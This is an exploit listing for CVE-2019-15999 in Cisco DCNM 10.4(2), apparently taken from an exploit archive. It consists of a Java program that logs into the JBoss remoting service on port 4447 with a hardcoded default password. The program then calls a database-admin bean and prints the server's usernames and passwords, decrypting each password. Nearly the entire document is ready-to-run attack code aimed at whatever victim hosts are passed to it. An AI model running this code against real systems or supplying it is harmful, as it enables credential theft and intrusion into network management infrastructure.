Cisco DCNM JBoss 10.4 - Credential Leakage Exploit

# Exploit Title: Cisco DCNM JBoss 10.4 - Credential Leakage
# Exploit Author: Harrison Neal
# Vendor Homepage: https://www.cisco.com/
# Software Link: https://software.cisco.com/download/home/281722751/type/282088134/release/10.4(2)
# Version: 10.4(2)
# CVE: CVE-2019-15999
 
# You'll need a few .jars from a copy of Cisco DCNM to compile and run this code
# To compile, file path should match ${package}/${class}.java, e.g.,
# com/whatdidibreak/dcnm_expl/Main.java
 
# Usage: java -jar PackagedJarFile Victim1IpOrFqdn [victim2 ...]
 
package com.whatdidibreak.dcnm_expl;
 
import com.cisco.dcbu.jaxws.san.ep.DbAdminSEI;
import com.cisco.dcbu.jaxws.wo.DBRowDO;
import com.cisco.dcbu.lib.util.jboss_4_2.JBoss_4_2Encrypter;
 
import java.util.Properties;
 
import javax.naming.Context;
import javax.naming.InitialContext;
 
public class Main {
 
    public static void main(String[] args) throws Throwable {
        for (String target : args) {
            System.out.println("Target: " + target);
 
            Properties jndiProps = new Properties();
            jndiProps.put(Context.INITIAL_CONTEXT_FACTORY, "org.jboss.naming.remote.client.InitialContextFactory");
            jndiProps.put(Context.PROVIDER_URL, "remote://" + target + ":4447");
            jndiProps.put(Context.SECURITY_PRINCIPAL, "admin");
            jndiProps.put(Context.SECURITY_CREDENTIALS, "nbv_12345");
            jndiProps.put("jboss.naming.client.ejb.context", true);
 
            Context ctx = new InitialContext(jndiProps);
 
            DbAdminSEI i = (DbAdminSEI) ctx.lookup("dcm/jaxws-dbadmin/DbAdminWS!com.cisco.dcbu.jaxws.san.ep.DbAdminSEI");
 
            for (DBRowDO row : i.getServerProperties(null).getRows()) {
                String propName = row.getEntry()[0];
                String propValue = row.getEntry()[1];
 
                if (propValue.isEmpty()) {
                    continue;
                }
 
                if (propName.contains("user")) {
                    System.out.println(propName + " = " + propValue);
                } else if (propName.contains("pass")) {
                    System.out.println(propName + " = " + propValue + " (" + JBoss_4_2Encrypter.decrypt(propValue) + ")");
                }
            }
 
            System.out.println();
        }
    }
}
 
#  0day.today [2020-01-10]  #